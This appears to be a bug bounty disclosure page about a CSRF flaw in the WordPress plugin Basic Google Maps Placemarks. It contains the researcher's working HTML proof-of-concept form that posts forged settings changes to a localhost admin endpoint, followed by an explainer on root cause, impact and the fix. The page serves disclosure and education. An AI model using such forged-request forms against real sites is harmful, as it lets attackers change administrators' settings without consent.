CSRF in changing settings of Basic Google Maps Placemarks
The WordPress plugin Basic Google Maps Placemarks lacked a CSRF token when saving its settings, so a crafted page could submit a settings update on behalf of a logged-in administrator. An attacker could change map width, height, centre address and other plugin settings.
- Disclosed after 18 hours
Hey, this is Ahsan Tahir!
I was just pentesting Basic Google Maps Placemarks in Wordpress, I found a CSRF (Cross-Site Request Forgery) So, by exploiting this CSRF issue, an attacker can edit the settings (e.g Map Width, Map Height, Map Center Address etc..)
#PoC There is not CSRF token/Authentication token when changing settings of Basic Google Maps Placemarks (http://localhost/wordpress/wp-admin/options-general.php?page=bgmp_settings)
So, we can exploit it with the following code:
##Exploit Code
<html>
<body>
<form action="http://localhost/wordpress/wp-admin/options.php" method="POST">
<input type="hidden" name="option_page" value="bgmp_settings" />
<input type="hidden" name="action" value="update" />
<input type="hidden" name="_wpnonce" value="a9ef057ff9" />
<input type="hidden" name="_wp_http_referer" value="/wordpress/wp-admin/options-general.php?page=bgmp_settings" />
<input type="hidden" name="bgmp_map-width" value="testing" />
<input type="hidden" name="bgmp_map-height" value="testing" />
<input type="hidden" name="bgmp_map-address" value="testing" />
<input type="hidden" name="bgmp_map-zoom" value="7" />
<input type="hidden" name="bgmp_map-type" value="ROADMAP" />
<input type="hidden" name="bgmp_map-type-control" value="off" />
<input type="hidden" name="bgmp_map-navigation-control" value="DEFAULT" />
<input type="hidden" name="bgmp_map-info-window-width" value="testing" />
<input type="hidden" name="bgmp_cluster-max-zoom" value="testing" />
<input type="hidden" name="bgmp_cluster-grid-size" value="testing" />
<input type="hidden" name="bgmp_cluster-style" value="default" />
<input type="hidden" name="submit" value="Save Changes" />
<input type="hidden" name="closedpostboxesnonce" value="faa425ff22" />
<input type="hidden" name="_wp_http_referer" value="/wordpress/wp-admin/options-general.php?page=bgmp_settings" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
If you run above HTML code in your browser, when you are logged in to your wordpress, and click on submit request, every value of http://localhost/wordpress/wp-admin/options-general.php?page=bgmp_settings will be set to "testing"
This one is a small, but effective CSRF; effective because if anyone tricks the admin into clicking the button, or even visiting the page (JavaScript is used in that type of exploit code!) The settings will be changed automatically!
###How to Fix? The fix is simple, add a CSRF token in the request/form for editing the settings of Basic Google Maps Placemarks!
Hoping for your positive response! ✌
If you have any other questions or if anything needs clarification, please let me know.
Cheers, Ahsan
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the settings form handler did not verify a per-request CSRF token before saving the plugin options.
Impact
An attacker who tricks a logged-in administrator into visiting a page could change the plugin's map settings; the report notes JavaScript could make this happen without a click.
What the attacker needed
Victim is a logged-in WordPress admin; victim visits attacker page or clicks a button; plugin Basic Google Maps Placemarks installed
The fix
The settings form should be fixed by adding and verifying a CSRF token on the request that saves the plugin settings.
How it was found
- Log in to WordPress as an administrator.
- Open a crafted HTML page that posts to the WordPress options endpoint with the plugin's settings fields.
- Click the submit button on that page.
- Observe that every plugin setting is changed to the attacker-supplied values.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
When you are logged into a website, your browser sends your session cookie with every request to that site. If a page on another site can make your browser send a request that changes settings, and the site does not check for a secret token that only its own pages know, that is called cross-site request forgery (CSRF). Here the plugin saved settings without such a check, so a page the attacker controls could change them while an admin was logged in.
What is CSRF?
Another site makes a signed-in user's browser perform an action they did not intend.